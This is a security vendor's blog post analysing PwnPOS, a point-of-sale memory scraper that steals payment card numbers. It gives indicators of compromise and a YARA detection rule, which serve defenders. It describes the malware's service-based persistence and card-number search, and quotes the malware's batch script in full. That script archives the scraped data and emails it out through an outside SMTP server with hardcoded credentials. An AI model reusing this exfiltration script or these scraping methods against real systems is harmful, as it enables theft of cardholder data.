PwnPOS: Old Undetected PoS Malware Still Causing Havoc

blog.trendmicro.com/trendlabs-security-intelligence/pwnpos-old-undetected-pos-malware-still-causing-havoc/

March 4, 2015

We have been observing a new malware that infects point-of-sale (POS) systems. This malware may have been active since 2013, possibly earlier. Trend Micro will be naming this new malware family as **PwnPOS** to differentiate it from other known PoS malware families. In this blog post, we will discuss the technical details of this PoS malware. Researchers and incident response teams can add our findings to their growing number of PoS malware indicators. ***Technical Summary*** PwnPOS is one of those perfect examples of malware that's able to fly under the radar all these years due to its simple but thoughtful construction; albeit not being future proof. Technically, there are two components of PwnPOS: 1) the RAM scraper binary, and 2) the binary responsible for data exfiltration. While the RAM scraper component remains constant, the data exfiltration component has seen several changes – implying that there are two, and possibly distinct, authors. The RAM scraper goes through a process' memory and dumps the data to the file and the binary uses SMTP for data exfiltration. ***Installation*** This malware family is a RAM scraper service that can install and remove itself via specific arguments. If run without any arguments, it will copy itself to *%SystemRoot%\system32\wnhelp.exe*, install a service called "Windows Media Help," and automatically start itself with the *-service* switch.

Figure 1. Installed service

However, if with argument *del*, it will remove the service without deleting the file.

Figure 2. Service deletion routine

Most incident response and malware-related tools attempt to enumerate auto-run, auto-start or items that have an entry within the services applet in attempt to detect malicious files. Thus, having parameters that add and remove itself from the list of services allows the attacker to "remain persistent" on the target POS machine when needed, while allowing the malicious file to appear benign as it waits within the *%SYSTEM$* directory for the next time it is invoked. There are a few caveats about the malware's installation routine:

1. The Windows OS' User Account Control feature (available since Windows Vista) is able to block its execution. The initial launch would be stored in *%SystemRoot%\system32\DebugConsole.log* and upon execution, it checks for administrator privilege. If it determines that the user session does not have administrator privilege, then it would output an error *ERRLOG:error: not admin user*.
2. The file *exe* requires being within *%SystemRoot%\system32* as the service it creates uses this path to the executable *C:\WINDOWS\system32\wnhelp.exe -service*. If executed within a 64-bit Operating System, the executed would be stored within *C:\Windows\SysWOW64\* and thus the service itself fails to start.

The above-mentioned caveats may be a non-issue since a good majority of PoS terminals are still running on Windows XP and there is no pressing need for 64-bit operating system installations in these kinds of systems. ***Memory Scraping*** After the service starts, it grants *SeDebugPrivilege* permission and enumerates all running processes.

Figure 3. Enumeration of memory block

It then seeks for a specific pattern *[0-9]*=*, which is a set of numbers, to which the search result will be stored in *%SystemRoot%\system32\prefb419.dat*. It should be noted that it may seem normal to have *%SystemRoot%\system32\pref*.dat* files as they represent Microsoft Windows' base performance counters.

Figure 4. Reading memory and searching for pattern

If the string of numbers is found within a memory space, it validates the string via the Luhn algorithm, a known checksum formula to validate a variety of identification numbers, in order to make sure it is a credit card number.

Figure 5. Luhn algorithm

The log format that's written to the file *perfb419.dat* is *(DateTime): (ProcessName) pid: (Process Id) (Context).*

- %Y.%m.%d %H:%M:%S: => 2015.01.22 12:12:12
- Process Name => ???.exe
- Process ID => 999
- Context => Credit Card Number

The main block of execution repeats after a few seconds, enumerating the processes and going through each memory block to look for significant strings of numbers as indicated above. ***Data Exfiltration*** The data that is stored in *perf419.dat* may be harvested by two different binaries:

- **ccb91409ed05d4dcd45d691908f8df3ff6728d10** is packed via MPRESS and is seemingly coded via the cross-platform Purebasic programming language. Text included in the file contains both English and German language – seemingly used for system-generated messages.

  Figure 6. English and German text

  Upon execution, drops a file called *win32.bat* that contains the following lines that contains most of the data exfiltration routine. Below is the content of *win32.bat:*

  > @echo off 7z.exe a backup.7z perfb419.dat -pmanadeaur1qaz2wsx echo uniq > perfb419.dat snd.exe -smtp 37.59.26.94 -port 465 -t dumps.dumps@{BLOCKED}.com -f dumps@{BLOCKED}.cc -sub "Raport de la %computername%" -user dumps@{BLOCKED}.cc -pass 1234qwer -ssl -auth-login -attach backup.7z -M Hello DEL backup.7z DEL syshealth.7z DEL syshealth.log

  The routine is pretty much easy to understand: it first uses *7z.exe* (standalone 7-zip executable) to create an archive called backup.7z from *perfb419.dat*, and uses a password defined as *manadeaur1qaz2wsx*. Note that this assumes also that this binary is within the same file directory of *perfb419.dat*. After that, it uses another standalone executable called *snd.exe* (from this mailsend project) to send an email to a pre-defined mail account via SMTP with SSL and authentication. Finally, it proceeds to clean up the files it used for this routine.
- **7a8b966afdacbf174bec8588728d12bed9b56369** is an AutoIt-compiled executable that is packed via UPX. It has pre-defined variables (e.g., SMTP server, sender, recipient, attachments) within the lines of its decompiled code as seen below.

  Figure 7. AutoIt variable declaration

  Similarly, this binary uses *7z.exe* to pack the interesting data and uses email for data exfiltration, but it comes with enhancements:

  1. It uses *grep.exe*, a tool that matches one or more input files for lines containing a match to a specified pattern, to match the string format mentioned above which, as you guessed, matches the lines within in *perfb419.dat*.
  2. Rather than utilizing a third-party executable to send email, it utilizes a known AutoIt routine that makes use of the Collaboration Data Objects (CDO) API suite that is built-in with Microsoft Windows.

  What is further interesting in this the fact that the recipient is that the recipient has a misspelled top-level domain (TLD) with *{BLOCKED}@gmail.coom*. What would happen here is that the originating sender—in this case, *gomis@{BLOCKED}.{BLOCKED}*-- would receive a bounced message, usually with the original mail content – thus making the use of a common email problem called "backscatter" to good use.

Significant strings Significant strings for the data exfiltration components are already listed in code blocks above. However, for the RAM scraper service, we can definitely see two significant strings that can tell us a little bit about the author(s) as the character encoding is significant as it always converts the output strings into a very specific encoding:

The Program Database File (PDB)	c:\r1\Release\r1.pdb
Character Encoding	Russian_Russia.1251

So where have we seen this? We have seen PwnPOS operating with other PoS malware like BlackPOS and Alina, among small-to-medium businesses (SMB) within Japan, APAC (Australia, India), NABU (United States and Canada) and EMEA (Germany, Romania) running 32-bit versions of either Windows XP or Windows 7. ***Indicators*** The indicators below are compiled based on the observed threat.

SHA1	Compile time	Size (in bytes)	Trend Micro Detection	Possible Usage and Other Notes
b1983db46e0cb4687e4c55b64c4d8d53551877fa	2010-10-12 15:37:51	302,592	TSPY_PWNPOS.SMA	Memory Scraping
476a0900bfb80b263b614192d0084b8f42f1a6a5	2010-10-12 15:37:51	302,592	TSPY_PWNPOS.SMA	Memory Scraping, but edited. Dump file was changed/edited to *macromed.dat* and characte encoding was misspelled 'Russian_Rassia.1251'
2cf639a42e84feff74aba4289d47a8cc9fa247c4	2010-10-12 15:37:51	302,592	TSPY_PWNPOS.SMA	Memory Scraping
f62c082cc4eae77a8e7191f53d898daee1917b36	2010-10-12 15:37:51	302,592	TSPY_PWNPOS.SMA	Memory Scraping
2037896e8aa232e250ebf83261099299bfeaed2b	2010-10-12 15:37:51	344,064	TSPY_PWNPOS.SMA	Memory Scraping

c420ae15511d5184e3c1d95c0da090d654ff28d9	2010-10-12 15:37:51	302,593	TSPY_PWNPOS.SMA	Memory Scraping
404e22581c51c684e204ea89af3434ee8ad2af1c	2010-10-12 15:37:51	302,592	TSPY_PWNPOS.SMA	Memory Scraping
373cd06734249b7404f2d6554b261aa330bff1ba	2010-10-12 15:37:51	114,688	TSPY_PWNPOS.SMA	Memory Scraping, UPX
a22d23d0c84e352c4adeda87489f03dca0be5562	2010-10-12 15:37:51	302,592	TSPY_PWNPOS.SMA	Memory Scraping
a11b5a08f792363964b357116ea6c2220104c6e1	2010-10-12 15:37:51	302,592	TSPY_PWNPOS.SMA	Memory Scraping
aaa972c81b59d759e49ac0d60d79d66af35cfb3b	2010-10-12 15:37:51	302,592	TSPY_PWNPOS.SMA	Memory Scraping, no UPX version of 373cd06734249b7404f2d6554b261aa330bff1b
79e60bdfa9e0c9d8bcb12e20b98ba12df03912a5	2010-10-12 15:37:51	302,592	TSPY_PWNPOS.SMA	Memory Scraping
ccb91409ed05d4dcd45d691908f8df3ff6728d10	2011-03-25 08:17:42	25,600	TSPY_PWNPOS.A	Data exfiltration, MPRESS
7a8b966afdacbf174bec8588728d12bed9b56369	2012-01-29 15:32:28	397,501	TSPY_POSLOGR.M	Data exfiltration, UPX, AutoIt

Below is the YARA rule to detect the RAM scraper component:

```
rule PoS_Malware_PwnPOS : PwnPOS { meta: author = "Trend Micro, Inc." date = "2015-02-25" description = "Used to detect PwnPOS RAM Scraper" sample_filetype = "exe" strings: $string0 = "\\$l9D$d" $string1 = "c:\\r1\\Release\\r1.pdb" $string2 = "Microsoft Visual C++ Runtime Library" wide $string3 = "StartServiceCtrlDispatcher(): service already running." $string4 = "DebugConsole.log" $string5 = "-service" $string6 = " :: DebugConsole BEGIN Tee log ----------" $string7 = "ERRLOG:" $string8 = "Windows Media Help" wide $string9 = "- unable to open console device" wide condition: 10 of them }
```

With additional insights from Numaan Huq and Kenney Lu. Information about PoS malware and their prominence in the threat landscape can be found in our 2014 security roundup, Magnified Losses, Amplified Need for Cyber-Attack Preparedness. Update as of March 13, 2014 12:56 AM PST:

We have updated the table to reflect the new detection names for the samples.